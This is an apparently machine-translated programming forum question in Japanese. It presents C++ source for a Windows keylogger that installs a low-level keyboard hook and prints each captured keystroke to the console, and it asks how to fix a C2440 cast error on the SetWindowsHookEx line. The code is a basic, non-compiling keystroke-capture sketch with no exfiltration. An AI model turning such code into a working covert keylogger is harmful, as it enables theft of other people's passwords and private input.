私はキーロガーに取り組んでおり、これが私が得たものです
キーロガー.h:
#pragma once
#include <stdio.h>
#include <windows.h>
class Keylogger
{
KBDLLHOOKSTRUCT kbdStruct;
BYTE keyState[256];
WCHAR buffer[16];
public:
HHOOK hKeyHook;
Keylogger(void);
~Keylogger(void);
LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam);
};
キーロガー.cpp:
#include "Keylogger.h"
Keylogger::Keylogger(void)
{
}
Keylogger::~Keylogger(void)
{
}
LRESULT WINAPI Keylogger::KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
GetKeyboardState((PBYTE)&keyState);
ToUnicode(kbdStruct.vkCode, kbdStruct.scanCode, (PBYTE)&keyState, (LPWSTR)&buffer, sizeof(buffer) / 2, 0);
printf("%X\t%c\n", buffer[0], buffer[0]);
}
return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}
main.cpp:
#include "Keylogger.cpp"
int main(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int nCmdShow)
{
Keylogger kl = Keylogger();
kl.hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) kl.KeyEvent, GetModuleHandle(NULL), 0);
MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
UnhookWindowsHookEx(kl.hKeyHook);
return 0;
}
次の行でkl.hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) kl.KeyEvent, GetModuleHandle(NULL), 0);
エラー C2440 が発生します: 'type cast' : cannot convert from 'overloaded-function' to 'HOOKPROC'
これを修正する方法はありますか?